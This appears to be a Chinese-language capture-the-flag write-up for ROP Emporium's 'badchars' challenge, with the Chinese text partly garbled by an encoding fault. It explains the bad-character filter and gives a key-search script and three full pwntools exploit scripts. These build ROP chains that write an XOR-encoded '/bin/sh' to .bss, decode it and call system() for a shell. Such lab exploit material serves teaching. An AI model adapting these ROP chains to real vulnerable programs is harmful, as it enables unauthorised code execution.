ropemporium上的鏈接
https://ropemporium.com/
32位
checksec badchars32然后運(yùn)行./badchars32

拖入ida,有system,沒有binsh,所以我們需要將binsh寫入bss段中

main

usefulFunction里有system但參數(shù)不對

system地址為0x080484E0

bss地址為0x0804A040

pwnme函數(shù)


checkBadChars函數(shù)

把v3及其后面的變成數(shù)組,把數(shù)字按r轉(zhuǎn)成字符,方便查看
這次的程序?qū)斎氲淖址M(jìn)行了過濾,對于特定字符b,i,c,/, <空格>,f,n,s(傳說中的badchars),會(huì)被替換成-21,當(dāng)然這會(huì)對我們成功寫入"/bin/sh\x00"造成影響,所以我們要繞過這步替換
參考 http://www.itdecent.cn/p/5b9abeca9308
這里用 xor 對要輸入的 '/bin/sh' 加密,成功傳入?yún)?shù)后再進(jìn)行解密調(diào)用
首先找可以進(jìn)行異或的數(shù)字,因?yàn)榭赡軙?huì)有進(jìn)行異或后還出現(xiàn)badchars的數(shù)字。
找異或數(shù)字的腳本為
binsh = "/bin/sh\x00"
badchar = [98, 105, 99, 47, 32, 102, 110, 115]
xornum = 1
while 1:
for x in binsh:
tem = ord(x) ^ xornum
if tem in badchar:
xornum += 1
break
if x == "\x00":
print xornum
xornum += 1
if xornum == 10:
break

可異或的十以內(nèi)數(shù)字有2,3,5,9
找gadget
ROPgadget --binary badchars32 --only "mov|xor|pop|ret"


gdb爆偏移為44
寫腳本
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars32')
p = process('./badchars32')
pop_esi_edi = 0x08048899
mov_esi_to_edi = 0x08048893
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890
system_plt = 0x080484E0
bss = 0x0804A040
#加密
binsh = "/bin/sh\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配對使用,ord()是字符轉(zhuǎn)ASCII碼,chr()相反
payload = ''
payload += 'A'*44
#因?yàn)槭?2位,/bin/sh要分2次傳
payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss)
payload += p32(mov_esi_to_edi)
payload += p32(pop_esi_edi)
payload += xorbinsh[4:8]
payload += p32(bss+4)
payload += p32(mov_esi_to_edi)
#解密
for x in range(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+x)
payload += p32(2)
payload += p32(xor_ebx_cl)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)
p.sendline(payload)
p.interactive()

成功
我們再來玩一個(gè)簡單的,只傳入一次的"sh\x00\x00"
腳本為
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars32')
p = process('./badchars32')
pop_esi_edi = 0x08048899
mov_esi_to_edi = 0x08048893
pop_ebx_ecx = 0x08048896
xor_ebx_cl = 0x08048890
system_plt = 0x080484E0
bss = 0x0804A040
#加密
binsh = "sh\x00\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配對使用,ord()是字符轉(zhuǎn)ASCII碼,chr()相反
payload = ''
payload += 'A'*44
payload += p32(pop_esi_edi)
payload += xorbinsh[0:4]
payload += p32(bss)
payload += p32(mov_esi_to_edi)
#解密
for x in range(0,len(xorbinsh)):
payload += p32(pop_ebx_ecx)
payload += p32(bss+x)
payload += p32(2)
payload += p32(xor_ebx_cl)
payload += p32(system_plt)
payload += p32(0xdeadbeef)
payload += p32(bss)
p.sendline(payload)
p.interactive()

當(dāng)然也是成功的
64位
道理大致相同,但是/bin/sh不需要分2次傳,一次即可
ROPgadget --binary badchars --only "mov|pop|xor|ret"



gdb爆偏移
exp:
#coding=utf8
from pwn import *
#context.log_level = 'debug'
elf = ELF('./badchars')
p = process('./badchars')
pop_r12_r13 = 0x00400b3b
mov_r12_to_r13 = 0x00400b34
pop_r14_r15 = 0x00400b40
xor_r15_r14b = 0x00400b30
pop_rdi = 0x00400b39
system_plt = elf.plt['system']
bss = elf.bss()
#加密
binsh = "/bin/sh\x00"
xorbinsh = ''
for i in binsh:
xorbinsh += chr(ord(i)^2)#ord()和chr()配對使用,ord()是字符轉(zhuǎn)ASCII碼,chr()相反
payload = ''
payload += 'A'*40
payload += p64(pop_r12_r13)
payload += xorbinsh
payload += p64(bss)
payload += p64(mov_r12_to_r13)
#解密
for x in range(0,len(xorbinsh)):
payload += p64(pop_r14_r15)
payload += p64(2)
payload += p64(bss+x)
payload += p64(xor_r15_r14b)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system_plt)
p.sendline(payload)
p.interactive()

成功
以上兩個(gè)的flag為ROPE{a_placeholder_32byte_flag!}